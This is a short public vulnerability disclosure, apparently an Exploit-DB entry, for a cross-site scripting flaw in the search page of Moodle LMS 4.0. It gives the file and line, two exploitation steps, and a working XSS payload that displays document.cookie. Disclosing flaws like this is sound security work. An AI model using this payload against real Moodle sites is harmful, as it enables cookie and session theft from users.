Moodle LMS version 4.0 suffers from a cross site scripting vulnerability.
# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
# Date: 26/10/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://moodle.org/
# Software Link: https://git.in.moodle.com/moodle
# Version: 4.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz
A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License
line 111 in file "course/search.php"
Steps to exploit:
1) Go to http://localhost/course/search.php
2) Insert your payload in the "search"
Proof of concept (Poc):
"><img src=# onerror=alert(document.cookie)>